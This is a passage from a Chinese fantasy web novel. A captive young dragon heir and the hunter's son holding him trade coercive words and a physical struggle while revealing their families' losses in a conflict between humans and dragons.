元起愤愤然地抬手,打在他脸上。 清脆的一声,两人俱是一愣。 迟郁舌尖顶了顶微麻的腮帮,抬手擎着元起的下巴,元起有些怕了,但还是桀骜地仰头瞪着他的方向。 “昨晚不是还恨我?还说不理我。今天只是讨厌,程度可太轻了。” 元起急促的喘息了一下,想起昨晚的事,落在床垫上的手死死攥紧。 他缓缓垂下头。 “为什么要救我……” “你们不是想要我们龙的命吗?” “是他们。”迟郁再度拎起碗来,勺子被递到元起的唇边,“我只是想查清一些事情。龙族的生死,与我无关。” 少年紧抿着唇抗拒。 “吃掉,我就告诉你庄管家的下落。” 元起白皙的胸膛起伏了一下,一脸慷慨就义的表情抿走了粥,咀嚼的动作也带了恨意,像是咬的是迟郁一样。 迟郁看笑了,又舀了一勺:“他被军方的人带走了,还活着。还有元宝——” 故意停住,元起吃下,嚼得更愤恨了。 “跟庄管家一起带走的,也还活着。” 勺子又被送上来,元起老实的吃下,只想听到更多关于他们的下落。 “他们把元宝的龙身当成是你了,你跟我在一起,得换个身份生活。” 元起冷声拒绝:“我不跟你在一起。” 迟郁嗤笑:“小少爷,没人教过你,没得选的时候,别说气话吗?你现在是寄人篱下,仰仗我才能有饭吃有衣服穿,所以你最好是顺着我,把我哄开心了,明白吗?” 从小被捧着哄着的元起从没被这么对待过,他瞳孔震颤了下,下巴崩的很紧,似是受了极大的屈辱。 好半晌,想到龙族,他吸了吸鼻子,红着眼眶低下头,妥协的模样。 迟郁捏着勺子的手一顿,深吸一口气。 “你们龙表面看着强,对着害自己的人怎么弱成这样?” 元起低垂着头,拳头死死攥紧。 “都因为我……” “元氏的每一任家主都很厉害。包括我的父亲。很小的时候,我偷溜进地下室看到过……他,那样庞大,威武,不可撼动。庄管家说,我们龙族的史书记载,龙可以引雷电雨水,泽被万物,其他生物的生息繁衍都要仰仗我们龙族,人类奉我们为神明。可……父亲遇害的时候,我只是一颗没有孵化的龙蛋,是长老们翻阅古籍人工孵化出来的。我只会化形,不会引雷电雨水,反而会在雷雨天失控。整个龙族……” 元起哽咽地停了一下,“整个龙族都可以感应到家主的召唤,家主的能力也可以反哺整个龙族,是我没用……大家失控,都是因为我是个废物……” 迟郁抬手又捏元起的下巴,却在棱角分明的下颌线触到一手濡湿,他擦拭了一下,元起偏头躲开。 “是我……害了整个龙族。” 迟郁的手径直掐住了元起的脖颈,迫他抬起头。 那双漂亮的眼睛像是染了血一样猩红,泛着湿意,迟郁看得一震。 他粗喘了一声,语气低沉压抑。 “我老爹,是部落里最有经验的老猎手,打猎四十多年从未失手。熊,狼,虎,他都可以一个人猎下。” 元起双手抓着迟郁粗壮的手臂,只能睁大眼睛被迫看着他的方向,薄毯滑落下去,他胸膛和腰腹白皙的薄肌随着急促的呼吸一下下起伏着。 “九年前,他被人威胁去湖里钓大货,再也没回来。只给族长留下了两片黑色的鳞片,和庄管家的儿子还有圣菲疗养院那些龙身上的,一模一样。” 元起呼吸一滞,脸色唰地惨白。 迟郁的手缓缓收紧 ,似乎比他还恨。 “整整两船的人也只剐下来两块尾巴的鳞片,为了猎那条龙,我老爹至今下落不明。我不信,你们整个龙族加在一起会弱成这样。”